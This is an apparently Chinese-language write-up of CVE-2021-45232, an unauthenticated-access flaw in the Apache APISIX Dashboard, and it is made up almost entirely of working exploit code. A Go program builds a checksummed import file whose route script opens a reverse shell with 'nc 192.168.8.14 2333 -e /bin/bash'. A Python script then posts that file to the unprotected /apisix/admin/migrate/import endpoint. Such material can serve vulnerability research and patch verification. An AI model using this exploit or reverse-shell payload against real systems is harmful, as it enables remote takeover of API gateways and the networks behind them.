Apache APISIX Dashboard 未授权访问漏洞分析(CVE-2021-45232)

git clone https://github.com/apache/apisix-docker
cd apisix-docker/example/

apache/apisix-dashboard:2.7
apache/apisix:2.6-alpine

"script": "os.execute('touch /tmp/Keepb1ue')"

/apisix/admin/migrate/export
/apisix/admin/migrate/import

package main

import (
    "encoding/binary"
    "fmt"
    "hash/crc32"
    "io/ioutil"
    "os"
)
func main() {
    gen()
}
func gen() {
    data := []byte(`{"Counsumers":[],"Routes":[{"id":"403141558204891851","create_time":1649820693,"update_time":1649821490,"uris":["/rce111"],"name":"lyroute","methods":["GET","POST","PUT","DELETE","PATCH","HEAD","OPTIONS","CONNECT","TRACE"],"script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')","script_id":"403141558204891851","upstream_id":"403140847589130955","status":1}],"Services":[],"SSLs":[],"Upstreams":[{"id":"403140847589130955","create_time":1649820270,"update_time":1649820270,"nodes":[{"host":"192.168.10.171","port":3000,"weight":1}],"timeout":{"connect":6,"read":6,"send":6},"type":"roundrobin","scheme":"http","pass_host":"pass","name":"lytest"}],"Scripts":[{"id":"403141558204891851","script":"os.execute('nc 192.168.8.14 2333 -e /bin/bash')"}],"GlobalPlugins":[],"PluginConfigs":[]}`)
    checksumUint32 := crc32.ChecksumIEEE(data)
    checksumLength := 4
    checksum := make([]byte, checksumLength)
    binary.BigEndian.PutUint32(checksum, checksumUint32)
    fileBytes := append(data, checksum...)

    content := fileBytes
    fmt.Println(content)

    importData := content[:len(content)-4]
    checksum2 := binary.BigEndian.Uint32(content[len(content)-4:])
    if checksum2 != crc32.ChecksumIEEE(importData) {
        fmt.Println(checksum2)
        fmt.Println(crc32.ChecksumIEEE(importData))
        fmt.Println("Check sum check fail, maybe file broken")
        return
    }
    err := ioutil.WriteFile("apisixPayload", content, os.ModePerm)
    if err != nil {
        fmt.Println("error!!")
        return
    }
}

import requests
url = "http://192.168.10.171:9000/apisix/admin/migrate/import"
files = {"file": open("apisixPayload", "rb")}
r = requests.post(url, data={"mode": "overwrite"}, files=files)
print(r.status_code)
print(r.content)